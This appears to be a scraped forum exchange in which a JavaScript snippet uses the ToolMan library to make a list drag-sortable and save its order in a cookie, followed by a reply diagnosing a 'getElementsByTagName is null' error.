var junkdrawer = ToolMan.junkdrawer()
window.onload = function() {
junkdrawer.restoreListOrder("phonetic3")
//junkdrawer.restoreListOrder("twolists1")
//junkdrawer.restoreListOrder("twolists2")
dragsort.makeListSortable(document.getElementById("phonetic3"),
verticalOnly, saveOrder)
/*
dragsort.makeListSortable(document.getElementById("twolists1"),
saveOrder)
dragsort.makeListSortable(document.getElementById("twolists2"),
saveOrder)
*/
}
function verticalOnly(item) {
item.toolManDragGroup.verticalOnly()
}
function speak(id, what) {
var element = document.getElementById(id);
element.innerHTML = 'Clicked ' + what;
}
function saveOrder(item) {
var group = item.toolManDragGroup
var list = group.element.parentNode
var id = list.getAttribute("id")
if (id == null) return
group.register('dragend', function() {
ToolMan.cookies().set("list-" + id,
junkdrawer.serializeList(list), 365)
})
}
//-->
Thanks so much for your support!
Regards,

If you are seeing "value of the property 'getElementsByTagName' object is null or undefined" there is one of two possible issues:
1) your script file is not properly loaded.
2) You are calling 'getElementsByTagName' inappropriately.
Since you haven't posted any sample code, it would be very difficult for anybody to provide a definitive answer to your question.